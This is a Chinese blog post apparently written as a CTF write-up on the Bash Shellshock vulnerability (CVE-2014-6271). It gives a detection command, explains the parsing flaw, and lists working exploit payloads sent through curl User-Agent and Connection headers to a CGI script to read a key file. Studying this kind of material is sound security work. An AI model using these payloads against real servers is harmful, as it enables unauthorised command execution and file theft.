Bash漏洞分析溯源

漏洞编号:

CVE-2014-6271

漏洞名称:

Linux Bash远程可执行漏洞

漏洞影响范围:

所有安装GNU bash 版本小于或者等于4.3的Linux操作系统

漏洞检测:

使用以下命令检测是否存在此漏洞:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果返回显示有“vulnerable” ,则表示存在漏洞,如果没有,则表示没有漏洞。

例如,当存在漏洞是,修复前的输出为:

vulnerable
this is a test

bash漏洞的原理:

BASH除了可以将外壳变量导出为环境变量,还可以将外壳函数导出为环境变量!当前版本的bash中通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的外壳命令。

简单地说就是,巴什脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。

本题的解决思路

1、破壳漏洞,是由bash cgi产生的漏洞,如果web程序调用bash脚本就可能产生这个漏洞

2、通常cgi目录为cgi-bin,这里也是,并且破壳漏洞cgi源文件名就是pc.cgi,那么构造伪造请求包时,就可以使用url:http://ip:port//cgi-bin/poc.cgi

3、使用curl或者抓包软件构造user-Agent(或者别的参数,比如Connection)就可以将参数传进去

使用curl的方法:

curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://219.153.49.228:42303/cgi-bin/poc.cgi

使用Connection的方法

 

image.png

() { :;}; echo; /bin/bash -c 'cat /key.txt'

4、注意这次实验漏洞的利用需要在闭合函数之后立即输出一个换行,用echo;或echo -e "rn";,否则会报错(我也不知道为什么,求解答)

5、换行命令后可以接/bin/cat 或者/bin/ls 来遍历文件夹、查看key



作者:Dear丶小贱
链接:https://www.jianshu.com/p/dab100a8105f
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

你可能感兴趣的:(CTF)